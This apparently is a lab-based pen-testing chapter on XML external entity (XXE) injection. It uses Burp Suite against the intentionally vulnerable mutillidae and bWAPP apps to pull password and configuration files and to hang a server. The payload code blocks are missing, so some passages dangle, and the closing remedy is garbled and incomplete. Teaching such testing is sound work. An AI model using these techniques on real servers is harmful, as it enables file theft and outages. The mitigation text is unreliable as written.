What Is XML?

First of all, XML is a software- and hardware-independent language for storing and transporting data. Second, XML stands for extensible markup language and is similar to HTML. Third, XML was designed to be self-descriptive. So you can design the structure according to your necessity. Finally, you need to define both the tags and the document structure in a way that is meaningful, as you would design a database table and fields, because you will find that XML is similar to a database.

The next big question is why we need XML. Instead of using a database, why should we use an XML document? The biggest advantage of XML is that it’s software and hardware independent. An XML document stores data in a plain text that makes things much easier, therefore it simplifies the process of storing and transporting data.

Let us see an example of XML data:

Here <email> is an element. Inside the <email> element, we have more elements, such as <to>, <from>, and <message>. You can add as many elements as you wish.

As a data transporter and storage facility, JSON is quickly overtaking XML in popularity. However, still in many web applications you will find the usage of XML because it has been popular for many years.

What is a DTD?

A document type definition or DTD defines the legal elements and attributes of an XML document. With a DTD, developers agree on a standard data structure for storing and transporting data.

Furthermore, an application can verify with the help of DTD that an XML document is properly formatted or not. It will also check whether the XML data is defined internally within an XML document or from an external source like a URI or URL. DTDs allow us to define what will be the keywords and entities in an XML document. Thus, the XML vulnerabilities test can be done by injecting new keywords and entities.

will be commented out and only the version and the element portions remain. Obviously, this is called an internal DTD.

What Is XML External Entity Injection?

XML injection is often similar to XXE injection. XXE stands for XML external entity. XXE allows an attacker to interact with an application’s processing of XML data. Through XXE injection we can view the server file system; we can interfere in any back-end processing; furthermore, we can attack any external systems that the application itself can access. In many cases, applications use the XML format to transmit data between the browser and the server. While doing this, it uses a standard library or platform API to process the XML data on the server. The application owner has no control over those standard libraries or platform API, where potentially dangerous features may lie hidden.

Although DTD plays a vital role in defining the XML formatting, it has no control over the XML external entities, because they are types of custom XML entities that are loaded from outside of the DTD definition. As a pen tester, you will find external entities very interesting, because you can define an entity of the XML data based on the contents of a file path or URL.

Let us see an example of such external entities. In an intended vulnerable application in our virtual lab, we can validate code to retrieve all the passwords of a system. We will see that in the coming sections. We are also going to perform different types of XML injections in our virtual lab.

Performing XML Injection in a Virtual Lab

Let us start the owaspbwa application in our virtual lab and open the mutillidae intentionally vulnerable web application. In the validation field we will insert this code:

It will give us an output like this:

As you see, we have easily injected XML external entities into the intentionally vulnerable application mutillidae.

Here we have used the external entity name xxe and we have also used the SYSTEM keyword. In the second line, where we were supposed to define the value of the XML data, we have used the entity name &xxe;. In Figure 8-1, we see the same output.

Here we have used &xxe as a custom XML entity whose defined values are loaded from outside of the DTD. Now the mutillidae application has used the XML format to transmit data between the browser and the server. As a penetration tester you may encounter such applications where the XML specification contains various potentially dangerous features like this. The standard parsers support these features even if they are not normally used by the application.

Now we can examine another intentionally vulnerable application, bWAPP, using the Burp Suite. Open the bWAPP and select the XXE attack section (Figure 8-2). To start with, you should register as a user in the bWAPP Missing Function application so that, using the Burp Suite Repeater tool, you can inject the external entities just as you have done in the mutillidae application. In Burp Suite, keep the Intercept in off mode and open bWAPP. Next, turn the Burp Suite Intercept tool to “on” and in your bWAPP application click the “Any bugs?” button.

In your Burp Suite, you will get an output similar to this (Figure 8-3):

In the last line it catches the login detail where I have used the user name “Lokhu.” You can use any name.

Next, click your second mouse button on the Burp Suite interface and send the raw request to the Repeater tool (Figure 8-4).

Now, click on the Go button. It will send the request to the bWAPP application and, finally, you have an output like this (Figure 8-5).

Next, we can try some XML injection into code 8.4 we have written before. We can change code 8.4 to this, changing the last part where we want to inject an XML entity:

Or if you want to get the detail of the entire file system settings, you can use the following code:

As you see, we have used the same entity xxe and the SYSTEM keyword has been used along with it for one reason: we wanted to retrieve data from the server system.

We will get the same output as we got in code 8.2. Since bWAPP is an XML injectable application, the XML injection has been successfully loaded from outside.

In the next section we will see how to fetch system configuration files using Burp Suite and the intentionally vulnerable application mutillidae.

Fetching System Configuration Files

To test whether the web application has XML injection vulnerabilities, we need Burp Suite and the OWASP intentionally vulnerable application mutillidae. Keeping the Burp Intercept in off mode, we need to open the mutillidae first. Then, we turn on the Intercept tool of Burp Suite.

In the Validate field of mutillidae, enter the value idnf; since we have kept our Intercept on, we have gotten the results as shown in Figure 8-6. The application mutillidae has keywords for searching the system configuration files. The word idnf is one of the keywords. If you go through mutillidae documentation, you will find them. It is available on the top of the page; click the “Hints” button and you will view many tips. This keyword will identify the particular XML we are going to inject through the Burp Suite Intruder tool.

The output can be seen in code 8.7:

The output (code 8.7) is quite straightforward. Mutillidae sends the request using the GET method. Instead of the POST method, it has used GET because this application is intentionally vulnerable.

Now we will send this output to the Intruder tool in Burp Suite. Click the second mouse button, and send it to the Intruder tool. Once the Intruder tool gets this output, it changes the output to get the payload position (Figure 8-7).

And we get the output similar to this:

The Intruder has added some extra special characters to the GET request. Those are predefined lists of useful payloads. It has an internal mechanism of custom permutation to generate such characters.

We need to clear it first. On the right-hand side of the Intruder tool we will find four buttons: Add, Clear, Auto, and Refresh. We need to click the Clear button and after that select only the word idnf.

Therefore, the output changes to this:

Next we are going to use the payload sets of the Intruder tool. We need to load our XML file full of many external entities that will be used for XXE injection. In the Intruder tool, click on Payloads. It will open a window to load your XML file (Figure 8-8).

From the Payload Options, click the Load button. It will open up a window to load the XML file where you have written all the XXE injection code (Figure 8-9).

The next code shows xml-attacks.txt. We have collected all the XXE injection code in one place. You can add more entities to make this payload more agile and robust to retrieve more types of system data, or you can manipulate the internal logic of the application. A very good free resource is GitHub. You can check this link: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection.

Select this file to load all the XXE injection attacks. Once it has been loaded (Figure 8-10), we can launch the Intruder attack.

Once the attack has been started, it will start examining all the XML external entities code. It may take time, but after a few minutes we can click the payload Length column and select the highest value retrieved so far (Figure 8-11).

Once you click the largest value you have got, you will see the request you have sent to the mutillidae application (Figure 8-12).

We can also check the response by clicking the Response tab (bottom half of Figure 8-13).

But we are eager to see how the XXE injection has rendered the output in the mutillidae application. Through our XXE injection we have sent a lot of attacking code that can even hang the application. Consider this type of payload:

It can stop any application by hanging it using an infinite loop that loads all types of random data. For that reason, the payload takes a long time.

We can see the rendered figure of the application mutillidae now (Figure 8-14).

It has taken the first XXE injection code and rendered all the passwords of the application (Figure 8-15).

It gives you the same output we have seen before in code 8.2. Therefore, let us cut it short.

Since we have written this XXE injection code at the top of the xml-attacks.txt file, it renders first. You can test another injection vector and see the output.

As a pen tester, you can suggest a few remedies to your client. The application should validate or sanitize user input before incorporating it into an XML document; it is also good to block any input containing XML metacharacters such as <and>. These characters can be replaced with the corresponding entities: >and<.